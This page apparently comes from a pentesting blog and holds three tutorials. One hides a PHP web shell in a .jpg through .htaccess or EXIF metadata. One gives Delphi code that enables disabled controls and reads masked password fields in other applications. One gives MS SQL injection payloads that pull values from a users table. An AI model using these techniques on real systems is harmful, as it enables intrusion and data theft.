IT Security Lab The Playground for IT Security Specialists and Pentesters

5Jul/100

Hiding a Shell With .htaccess

Ok, let's imagine that once upon a time some happy hacker found a way to upload his (presumably malicious) file (yes, the remote shell...) to a vulnerable server. Nice, but still worrying: how he can make his shell as much "persistent" and less-noticeable as possible?

For sure, the shell file should not necessarily be a "shell.php" placed in a web server's root dir. :-) There is a nice trick: it’s enough the attacker access some innocent-looking directory (ex. with images) where he may place the file .htaccess containing something like this:

AddType application/x-httpd-php .jpg

So now he may create the file logo.jpg in this directory with the following content:

<?php
        passthru($_GET['cmd']);
?>

Now it’s enough to navigate this URL (example):

http://vulnerableapp.com/images/logo.jpg?cmd=net%20user

and well…. job done. :-)

There is another, more fancy option: the shell code can be stored in JPEG metadata. See the example below. Download this picture and view it with a hex editor or any graphic viewer which is able to view the metadata. Anything suspicious in EXIF? ;) This would work exactly the same way as example above...

Jokes aside, - this simple trick unfortunately may be dead serious in consequences as such situation may not be so easy to detect, from forensic point of view. Admins, you'd better beware...

Of course there are pretty handy solutions you may find in Internet. Ex. php class which allows you to clean-up the metadata: psecureimage http://code.google.com/...

4Jul/102

Insecure GUI In Binary Applications

User interface is playing important role in binary applications' security. This is the main place where a user is "interacting" with the application. This role of "secure GUI" is very often underestimated or not considered seriously enough by developers. Keep in mind "the rule of thumb": overall security of a system (any system, also IT) is equal to the security level of its weakest element. It's really funny to see when e.g. complex industrial software packages, having accessed by "fat clients", may be easily circumvented. In effect, a malicious user may seriously alter the application's functionality which may lead to unauthorized access to information, privilege escalation, etc. Here are some simple tricks with windows apps' GUI.

Download sample application (with source code in Delphi): send_messages.zip The package contains "attacking application" and a small "victim" to test the tool.

Foreword: handle of an object under the cursor

Ok, it's all about a handle: the unique object's identifier. The handle is an integer that refers to a particular data structure in the collection of all data structures that Windows maintains. When Windows created the window (and the internal window data structure), it returned you a window handle. The same thing happens when any other item is manufactured in Windows (e.g.: buttons, checkboxes, comboboxes and any other GUI controls) - a handle is returned to identify and manage it in future. So once we have a handle - we may literally "call" this object and do many things with it. So the first question would be: how to get a handle of any arbitrary object under the cursor?

Here comes the implementation:

var
  myHandle: THandle;

procedure TForm1.tmrMainTimer(Sender: TObject);
var
  h1: thandle;
  pt: TPoint;
begin
  pt := mouse.cursorpos;
  h1 := WindowFromPoint(pt);
  Windows.ScreenToClient(h1, pt);
  myHandle:= childWindowFromPoint(h1, pt); //--- this is our handle
end;

The procedure above correctly takes handle from enabled and also disabled objects (we would need this functionality soon. Let's test it now: run both applications ("sendMessages.exe" and "victim\Project1.exe"). Click the icon with selector (cursor will be changed to arrow) and move it over the disabled button in second application. You would see how the value of the "object's handle" field is changing.

In your case the handle would have a different value for sure.

Enable or disable button in an application

Enable GUI element
procedure TForm1.btnEnableClick(Sender: TObject);
begin
    if myHandle <> 0 then EnableWindow(myHandle, true);
end;
Disable GUI element
procedure TForm1.btnEnableClick(Sender: TObject);
begin
    if myHandle <> 0 then EnableWindow(myHandle, false);
end;

Read text from a control

procedure TForm1.Button1Click(Sender: TObject);
var
  h1: THandle;
  s: ansistring;
  l: integer;
begin
  if myHandle <> 0 then
  begin
    SetLength(s, 255);
    l := SendMessage(myHandle,
                     WM_GETTEXT,
                     255,
                     lparam(@s[1]));
    edtTextFromControl.Text := Copy(s, 1, l);
  end;
end;

By the way, try to read the data from the Text field in second application where the content is not visible (currently you see the asterisks only). This is not an issue at all. ;)

Add a new element to a list in combobox

procedure TForm1.btnAddTextClick(Sender: TObject);
begin
  if myHandle <> 0 then
  begin
    if SendMessage(myHandle,
                   CB_INSERTSTRING,
                   0,
                   Longint(PChar(edtNewText.Text))) < 0 then raise EOutOfResources.Create(SInsertLineError);
  end;
end;

Simulate mouse click on object

procedure TForm1.btnClickControlClick(Sender: TObject);
begin
  if myHandle <> 0 then
  begin
    SendMessage(myHandle, WM_LBUTTONDOWN, 0, 0);
    SendMessage(myHandle, WM_LBUTTONUP, 0, 0);
  end;
end;

If you need even more control over the target application, you may use comprehensive tools like InqSoft Window Scanner.

Also read more about Windows Messages and Message Queues in MSDN.

1Jul/100

SQL Injection And Tough Integers

We all know that it's so nice when we are dealing with SQL injection in MS SQL and see error messages enabled. Typical example:

vulnerableweb.com?id=1' or 1=(SELECT @@version)--

...which obviously in this case would bring us the info about MS SQL version. But this is happening when we are able to raise an error by comparing a string (SELECT @@version) with integer (1). But what if the output of a query we want to execute is also integer? E.g. we are trying to execute something like this:

vulnerableweb.com?id=1' or 1=(SELECT TOP 1 id FROM users)--

ID is integer so our old trick will not work this time. So how to raise a verbose error message in this case? Surprisingly it is not so trivial. You may quickly notice that using CONVERT and CAST does not help because MS SQL later casts types automatically to something with can be compared, so unfortunately this is not raising an error. But here comes the solution! Take a look at the following query:

select cast(cast((select 1) as decimal(10,2)) as varchar(10))

This will convert int to the varchar but one step earlier the integer is converted to a decimal with fixed number of chars before and after the decimal separator (10 before and 2 after). So the output of the query is this:

1.00

And this is the kind of varchar, which may be happily used in SQL injection exploitation. See this example:

vulnerableweb.com?id=1' or 1=(cast(cast((SELECT TOP 1 id FROM users) as decimal(10,2)) as varchar(10)))--

This is it, folks. Happy exploitation! :)